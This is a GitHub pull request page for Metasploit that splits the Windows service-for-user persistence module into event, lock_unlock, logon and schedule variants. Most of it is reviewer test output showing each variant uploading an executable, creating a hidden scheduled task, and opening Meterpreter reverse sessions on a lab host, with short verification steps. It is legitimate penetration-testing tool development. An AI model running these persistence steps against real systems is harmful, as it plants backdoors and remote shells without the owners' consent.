s4u persistence updates - #20814
Merged
Merged
Conversation
dledda-r7
reviewed
Dec 29, 2025
Contributor
|
There's a lot of repetitive code in this? Is the |
dledda-r7
approved these changes
Apr 2, 2026
Contributor
There was a problem hiding this comment.
msf exploit(windows/persistence/service_for_user/event) >
[-] Handler failed to bind to 192.168.3.10:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target is likely exploitable
[+] Successfully Uploaded remote executable to C:\Users\msfuser\AppData\Local\Temp\fHmDgc.exe
[+] Successfully wrote XML file to C:\Users\msfuser\AppData\Local\Temp\NcBEqXlOw.xml
[+] Persistence task ezmEoYceBcVdD created successfully
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/WIN2022__620D_20260402.0511/WIN2022__620D_20260402.0511.rc
msf exploit(windows/persistence/service_for_user/event) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter x64/windows WIN2022__620D\msfuser @ WIN2022__620D 192.168.3.10:4444 -> 10.5.132.118:49844 (10.5.132.118)
msf exploit(windows/persistence/service_for_user/event) >
[*] Sending stage (230982 bytes) to 10.5.132.118
[*] Meterpreter session 3 opened (192.168.3.10:4444 -> 10.5.132.118:49846) at 2026-04-02 07:06:36 -0400
msf exploit(windows/persistence/service_for_user/event) > sessions -i -1
[*] Starting interaction with 3...
meterpreter > sysinfo
Computer : WIN2022__620D
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN2022__620D\msfuser
meterpreter >
Contributor
There was a problem hiding this comment.
msf exploit(windows/persistence/service_for_user/lock_unlock) >
[-] Handler failed to bind to 192.168.3.10:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target is likely exploitable
[+] Successfully Uploaded remote executable to C:\Users\msfuser\AppData\Local\Temp\WIrhJno.exe
[+] Successfully wrote XML file to C:\Users\msfuser\AppData\Local\Temp\SefKXw.xml
[+] Persistence task DPKdNXvhHmcK created successfully
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/WIN2022__620D_20260402.2539/WIN2022__620D_20260402.2539.rc
msf exploit(windows/persistence/service_for_user/lock_unlock) >
[*] Sending stage (230982 bytes) to 10.5.132.118
[*] Meterpreter session 8 opened (192.168.3.10:4444 -> 10.5.132.118:49882) at 2026-04-02 08:26:13 -0400
msf exploit(windows/persistence/service_for_user/lock_unlock) > sessions -i 8
[*] Starting interaction with 8...
meterpreter > sysinfo
Computer : WIN2022__620D
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN2022__620D\msfuser
meterpreter >
Contributor
There was a problem hiding this comment.
msf exploit(windows/persistence/service_for_user/logon) >
[-] Handler failed to bind to 192.168.3.10:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target is likely exploitable
[+] Successfully Uploaded remote executable to C:\Users\msfuser\AppData\Local\Temp\AAazlF.exe
[*] This triggers on event 4101 which validates the Windows license after logon
[+] Successfully wrote XML file to C:\Users\msfuser\AppData\Local\Temp\JDqbWOMYdwNMz.xml
[+] Persistence task vbwMJdmRAl created successfully
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/WIN2022__620D_20260402.3049/WIN2022__620D_20260402.3049.rc
msf exploit(windows/persistence/service_for_user/logon) >
[*] Sending stage (230982 bytes) to 10.5.132.118
[*] Meterpreter session 9 opened (192.168.3.10:4444 -> 10.5.132.118:49883) at 2026-04-02 08:31:13 -0400
msf exploit(windows/persistence/service_for_user/logon) > sessions -i -1
[*] Starting interaction with 9...
meterpreter > sysinfo
Computer : WIN2022__620D
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN2022__620D\msfuser
meterpreter >
Contributor
There was a problem hiding this comment.
msf exploit(windows/persistence/service_for_user/schedule) >
[-] Handler failed to bind to 192.168.3.10:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target is likely exploitable
[+] Successfully Uploaded remote executable to C:\Users\msfuser\AppData\Local\Temp\HsvwGfyDs.exe
[+] Successfully wrote XML file to C:\Users\msfuser\AppData\Local\Temp\jULvRkd.xml
[+] Persistence task xYDuLl created successfully
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/WIN2022__620D_20260402.0108/WIN2022__620D_20260402.0108.rc
msf exploit(windows/persistence/service_for_user/schedule) >
[*] Sending stage (230982 bytes) to 10.5.132.118
[*] Meterpreter session 10 opened (192.168.3.10:4444 -> 10.5.132.118:49929) at 2026-04-02 09:06:11 -0400
msf exploit(windows/persistence/service_for_user/schedule) > sessions -i -1
[*] Starting interaction with 10...
meterpreter > sysinfo
Computer : WIN2022__620D
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN2022__620D\msfuser
meterpreter >
Contributor
Release NotesUpdates the Windows service-for-user persistence technique. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Updates the windows s4u persistence to the new mixin. The original persistence worked in several different and very cool ways, and I felt it would be best to split them out instead of complicating the datastore based on which technique was chosen. Part of #20374
Verification
msfconsoleuse exploit/windows/persistence/service_for_user/<select a module>set SESSION <id>exploit